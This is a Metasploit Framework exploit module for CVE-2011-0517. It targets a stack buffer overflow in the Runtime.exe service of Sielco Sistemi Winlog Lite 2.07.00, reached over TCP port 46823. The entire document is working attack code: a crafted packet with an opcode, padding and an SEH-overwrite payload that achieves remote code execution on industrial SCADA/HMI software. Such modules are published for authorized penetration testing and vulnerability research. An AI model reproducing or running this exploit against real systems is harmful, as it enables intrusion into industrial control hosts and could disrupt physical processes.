Sielco Sistemi Winlog Buffer Overflow

`##  
# $Id: winlog_runtime.rb 13000 2011-06-21 22:42:53Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sielco Sistemi Winlog Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in Sielco  
Sistem Winlog <= 2.07.00. When sending a specially formatted  
packet to the Runtime.exe service, an attacker may be able to  
execute arbitrary code.  
},  
'Author' => [ 'Luigi Auriemma', 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 13000 $',  
'References' =>  
[  
[ 'CVE', '2011-0517' ],  
[ 'OSVDB', '70418'],  
[ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 450,  
'BadChars' => "\x00\x20\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 13 2011'))  
  
register_options([Opt::RPORT(46823)], self.class)  
end  
  
def exploit  
  
connect  
  
data = [0x02].pack('C') # opcode  
data << [0x0101].pack('n')  
data << rand_text_alpha_upper(588)  
data << generate_seh_payload(target.ret)  
  
print_status("Trying target #{target.name}...")  
sock.put(data)  
  
handler  
disconnect  
  
end  
  
end  
`